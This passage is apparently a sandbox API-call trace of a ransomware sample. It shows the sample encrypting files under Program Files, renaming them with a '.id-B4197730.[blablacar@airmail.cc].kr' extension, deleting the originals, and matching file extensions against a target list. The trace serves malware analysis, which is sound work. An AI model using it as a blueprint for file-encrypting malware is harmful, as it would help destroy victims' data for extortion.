[0183.762] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=528) returned 1 [0183.762] CloseHandle (hObject=0x4d8) returned 1 [0183.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release")) returned 0x20 [0183.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0183.763] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0183.763] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.763] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.763] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0183.763] GetLastError () returned 0x0 [0183.763] ReadFile (in: hFile=0x4d8, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x210, lpOverlapped=0x0) returned 1 [0183.764] WriteFile (in: hFile=0x520, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x220, lpOverlapped=0x0) returned 1 [0183.765] ReadFile (in: hFile=0x4d8, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0183.765] WriteFile (in: hFile=0x520, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0xe2, lpOverlapped=0x0) returned 1 [0183.886] SetEndOfFile (hFile=0x520) returned 1 [0183.886] CloseHandle (hObject=0x520) returned 1 [0183.886] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.886] SetEndOfFile (hFile=0x4d8) returned 1 [0183.893] CloseHandle (hObject=0x4d8) returned 1 [0183.894] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0183.894] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release")) returned 1 [0183.894] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0183.895] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0183.895] lstrlenW (lpString=".doc") returned 4 [0183.895] lstrcmpiW (lpString1=".doc", lpString2="ease") returned -1 [0183.895] lstrlenW (lpString=".docx") returned 5 [0183.895] lstrcmpiW (lpString1=".docx", lpString2="lease") returned -1 [0183.895] lstrlenW (lpString=".pdf") returned 4 [0183.895] lstrcmpiW (lpString1=".pdf", lpString2="ease") returned -1 [0183.895] lstrlenW (lpString=".xls") returned 4 [0183.895] lstrcmpiW (lpString1=".xls", lpString2="ease") returned -1 [0183.895] lstrlenW (lpString=".xlsx") returned 5 [0183.895] lstrcmpiW (lpString1=".xlsx", lpString2="lease") returned -1 [0183.895] lstrlenW (lpString=".ppt") returned 4 [0183.895] lstrcmpiW (lpString1=".ppt", lpString2="ease") returned -1 [0183.895] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0183.895] lstrlenW (lpString=".zip") returned 4 [0183.895] lstrcmpiW (lpString1=".zip", lpString2="ease") returned -1 [0183.895] lstrlenW (lpString=".rar") returned 4 [0183.895] lstrcmpiW (lpString1=".rar", lpString2="ease") returned -1 [0183.895] lstrlenW (lpString=".bz2") returned 4 [0183.895] lstrcmpiW (lpString1=".bz2", lpString2="ease") returned -1 [0183.895] lstrlenW (lpString=".7z") returned 3 [0183.895] lstrcmpiW (lpString1=".7z", lpString2="ase") returned -1 [0183.895] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0183.895] lstrlenW (lpString=".dbf") returned 4 [0183.895] lstrcmpiW (lpString1=".dbf", lpString2="ease") returned -1 [0183.895] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0183.895] lstrlenW (lpString=".1cd") returned 4 [0183.895] lstrcmpiW (lpString1=".1cd", lpString2="ease") returned -1 [0183.895] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0183.895] lstrlenW (lpString=".jpg") returned 4 [0183.895] lstrcmpiW (lpString1=".jpg", lpString2="ease") returned -1 [0183.895] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0183.896] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0183.896] lstrlenW (lpString=".doc") returned 4 [0183.896] lstrcmpiW (lpString1=".doc", lpString2="ease") returned -1 [0183.896] lstrlenW (lpString=".docx") returned 5 [0183.896] lstrcmpiW (lpString1=".docx", lpString2="lease") returned -1 [0183.896] lstrlenW (lpString=".pdf") returned 4 [0183.896] lstrcmpiW (lpString1=".pdf", lpString2="ease") returned -1 [0183.896] lstrlenW (lpString=".xls") returned 4 [0183.896] lstrcmpiW (lpString1=".xls", lpString2="ease") returned -1 [0183.896] lstrlenW (lpString=".xlsx") returned 5 [0183.896] lstrcmpiW (lpString1=".xlsx", lpString2="lease") returned -1 [0183.896] lstrlenW (lpString=".ppt") returned 4 [0183.896] lstrcmpiW (lpString1=".ppt", lpString2="ease") returned -1 [0183.896] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0183.896] lstrlenW (lpString=".zip") returned 4 [0183.896] lstrcmpiW (lpString1=".zip", lpString2="ease") returned -1 [0183.896] lstrlenW (lpString=".rar") returned 4 [0183.896] lstrcmpiW (lpString1=".rar", lpString2="ease") returned -1 [0183.896] lstrlenW (lpString=".bz2") returned 4 [0183.896] lstrcmpiW (lpString1=".bz2", lpString2="ease") returned -1 [0183.896] lstrlenW (lpString=".7z") returned 3 [0183.896] lstrcmpiW (lpString1=".7z", lpString2="ase") returned -1 [0183.896] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0183.896] lstrlenW (lpString=".dbf") returned 4 [0183.896] lstrcmpiW (lpString1=".dbf", lpString2="ease") returned -1 [0183.896] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0183.896] lstrlenW (lpString=".1cd") returned 4 [0183.896] lstrcmpiW (lpString1=".1cd", lpString2="ease") returned -1 [0183.896] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0183.896] lstrlenW (lpString=".jpg") returned 4 [0183.896] lstrcmpiW (lpString1=".jpg", lpString2="ease") returned -1 [0183.897] lstrcmpiW (lpString1=".exe", lpString2=".kr") returned -1 [0183.897] lstrlenW (lpString="clicking.exe") returned 12 [0183.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\clicking.exe" (normalized: "c:\\program files\\microsoft office\\clicking.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0183.898] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=78336) returned 1 [0183.898] CloseHandle (hObject=0x4d8) returned 1 [0183.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\clicking.exe" (normalized: "c:\\program files\\microsoft office\\clicking.exe")) returned 0x20 [0183.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\clicking.exe.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\clicking.exe.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0183.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\clicking.exe" (normalized: "c:\\program files\\microsoft office\\clicking.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\clicking.exe") returned 46 [0183.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\clicking.exe") returned 46 [0183.898] lstrlenW (lpString=".doc") returned 4 [0183.898] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0183.898] lstrlenW (lpString=".docx") returned 5 [0183.898] lstrcmpiW (lpString1=".docx", lpString2="g.exe") returned -1 [0183.898] lstrlenW (lpString=".pdf") returned 4 [0183.898] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0183.898] lstrlenW (lpString=".xls") returned 4 [0183.898] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0183.898] lstrlenW (lpString=".xlsx") returned 5 [0183.899] lstrcmpiW (lpString1=".xlsx", lpString2="g.exe") returned -1 [0183.899] lstrlenW (lpString=".ppt") returned 4 [0183.899] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0183.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\clicking.exe") returned 46 [0183.899] lstrlenW (lpString=".zip") returned 4 [0183.899] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0183.899] lstrlenW (lpString=".rar") returned 4 [0183.899] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0183.899] lstrlenW (lpString=".bz2") returned 4 [0183.899] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0183.899] lstrlenW (lpString=".7z") returned 3 [0183.899] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0183.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\clicking.exe") returned 46 [0183.899] lstrlenW (lpString=".dbf") returned 4 [0183.899] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0183.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\clicking.exe") returned 46 [0183.899] lstrlenW (lpString=".1cd") returned 4 [0183.899] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0183.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\clicking.exe") returned 46 [0183.899] lstrlenW (lpString=".jpg") returned 4 [0183.899] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0183.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\clicking.exe") returned 46 [0183.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\clicking.exe") returned 46 [0183.899] lstrlenW (lpString=".doc") returned 4 [0183.899] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0183.899] lstrlenW (lpString=".docx") returned 5 [0183.899] lstrcmpiW (lpString1=".docx", lpString2="g.exe") returned -1 [0183.899] lstrlenW (lpString=".pdf") returned 4 [0183.899] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0183.899] lstrlenW (lpString=".xls") returned 4 [0183.899] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0183.899] lstrlenW (lpString=".xlsx") returned 5 [0183.899] lstrcmpiW (lpString1=".xlsx", lpString2="g.exe") returned -1 [0183.900] lstrlenW (lpString=".ppt") returned 4 [0183.900] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0183.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\clicking.exe") returned 46 [0183.900] lstrlenW (lpString=".zip") returned 4 [0183.900] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0183.900] lstrlenW (lpString=".rar") returned 4 [0183.900] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0183.900] lstrlenW (lpString=".bz2") returned 4 [0183.900] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0183.900] lstrlenW (lpString=".7z") returned 3 [0183.900] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0183.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\clicking.exe") returned 46 [0183.900] lstrlenW (lpString=".dbf") returned 4 [0183.900] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0183.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\clicking.exe") returned 46 [0183.900] lstrlenW (lpString=".1cd") returned 4 [0183.900] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0183.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\clicking.exe") returned 46 [0183.900] lstrlenW (lpString=".jpg") returned 4 [0183.900] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0183.900] lstrcmpiW (lpString1=".EXE", lpString2=".kr") returned -1 [0183.900] lstrlenW (lpString="OSPPREARM.EXE") returned 13 [0183.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0183.903] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=27200) returned 1 [0183.903] CloseHandle (hObject=0x4d8) returned 1 [0183.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe")) returned 0x20 [0183.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0183.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0183.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0183.904] lstrlenW (lpString=".doc") returned 4 [0183.904] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0183.904] lstrlenW (lpString=".docx") returned 5 [0183.904] lstrcmpiW (lpString1=".docx", lpString2="M.EXE") returned -1 [0183.904] lstrlenW (lpString=".pdf") returned 4 [0183.904] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0183.904] lstrlenW (lpString=".xls") returned 4 [0183.904] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0183.904] lstrlenW (lpString=".xlsx") returned 5 [0183.904] lstrcmpiW (lpString1=".xlsx", lpString2="M.EXE") returned -1 [0183.904] lstrlenW (lpString=".ppt") returned 4 [0183.904] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0183.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0183.904] lstrlenW (lpString=".zip") returned 4 [0183.904] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0183.904] lstrlenW (lpString=".rar") returned 4 [0183.904] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0183.905] lstrlenW (lpString=".bz2") returned 4 [0183.905] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0183.905] lstrlenW (lpString=".7z") returned 3 [0183.905] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0183.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0183.905] lstrlenW (lpString=".dbf") returned 4 [0183.905] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0183.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0183.905] lstrlenW (lpString=".1cd") returned 4 [0183.905] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0183.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0183.905] lstrlenW (lpString=".jpg") returned 4 [0183.905] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0183.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0183.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0183.905] lstrlenW (lpString=".doc") returned 4 [0183.905] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0183.905] lstrlenW (lpString=".docx") returned 5 [0183.905] lstrcmpiW (lpString1=".docx", lpString2="M.EXE") returned -1 [0183.905] lstrlenW (lpString=".pdf") returned 4 [0183.905] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0183.905] lstrlenW (lpString=".xls") returned 4 [0183.905] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0183.905] lstrlenW (lpString=".xlsx") returned 5 [0183.905] lstrcmpiW (lpString1=".xlsx", lpString2="M.EXE") returned -1 [0183.905] lstrlenW (lpString=".ppt") returned 4 [0183.905] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0183.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0183.905] lstrlenW (lpString=".zip") returned 4 [0183.905] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0183.905] lstrlenW (lpString=".rar") returned 4 [0183.905] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0183.905] lstrlenW (lpString=".bz2") returned 4 [0183.906] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0183.906] lstrlenW (lpString=".7z") returned 3 [0183.906] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0183.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0183.906] lstrlenW (lpString=".dbf") returned 4 [0183.906] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0183.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0183.906] lstrlenW (lpString=".1cd") returned 4 [0183.906] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0183.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0183.906] lstrlenW (lpString=".jpg") returned 4 [0183.906] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0183.906] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0183.906] lstrlenW (lpString="api-ms-win-core-file-l1-2-0.dll") returned 31 [0183.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0183.909] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=18624) returned 1 [0183.909] CloseHandle (hObject=0x4d8) returned 1 [0183.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll")) returned 0x220 [0183.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0183.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0183.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0183.910] lstrlenW (lpString=".doc") returned 4 [0183.910] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0183.910] lstrlenW (lpString=".docx") returned 5 [0183.910] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0183.910] lstrlenW (lpString=".pdf") returned 4 [0183.910] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0183.910] lstrlenW (lpString=".xls") returned 4 [0183.910] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0183.910] lstrlenW (lpString=".xlsx") returned 5 [0183.910] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0183.910] lstrlenW (lpString=".ppt") returned 4 [0183.910] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0183.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0183.910] lstrlenW (lpString=".zip") returned 4 [0183.910] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0183.910] lstrlenW (lpString=".rar") returned 4 [0183.910] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0183.910] lstrlenW (lpString=".bz2") returned 4 [0183.910] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0183.910] lstrlenW (lpString=".7z") returned 3 [0183.910] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0183.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0183.910] lstrlenW (lpString=".dbf") returned 4 [0183.910] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0183.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0183.910] lstrlenW (lpString=".1cd") returned 4 [0183.910] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0183.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0183.910] lstrlenW (lpString=".jpg") returned 4 [0183.910] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0183.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0183.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0183.911] lstrlenW (lpString=".doc") returned 4 [0183.911] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0183.911] lstrlenW (lpString=".docx") returned 5 [0183.911] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0183.911] lstrlenW (lpString=".pdf") returned 4 [0183.911] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0183.911] lstrlenW (lpString=".xls") returned 4 [0183.911] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0183.911] lstrlenW (lpString=".xlsx") returned 5 [0183.911] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0183.911] lstrlenW (lpString=".ppt") returned 4 [0183.911] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0183.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0183.911] lstrlenW (lpString=".zip") returned 4 [0183.911] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0183.911] lstrlenW (lpString=".rar") returned 4 [0183.911] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0183.911] lstrlenW (lpString=".bz2") returned 4 [0183.911] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0183.911] lstrlenW (lpString=".7z") returned 3 [0183.911] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0183.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0183.911] lstrlenW (lpString=".dbf") returned 4 [0183.911] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0183.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0183.911] lstrlenW (lpString=".1cd") returned 4 [0183.911] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0183.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0183.911] lstrlenW (lpString=".jpg") returned 4 [0183.911] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0183.912] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0183.912] lstrlenW (lpString="api-ms-win-core-file-l2-1-0.dll") returned 31 [0183.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0183.913] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=18624) returned 1 [0183.913] CloseHandle (hObject=0x4d8) returned 1 [0183.913] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll")) returned 0x220 [0183.913] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0183.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0183.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0183.913] lstrlenW (lpString=".doc") returned 4 [0183.913] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0183.913] lstrlenW (lpString=".docx") returned 5 [0183.913] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0183.913] lstrlenW (lpString=".pdf") returned 4 [0183.913] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0183.913] lstrlenW (lpString=".xls") returned 4 [0183.913] 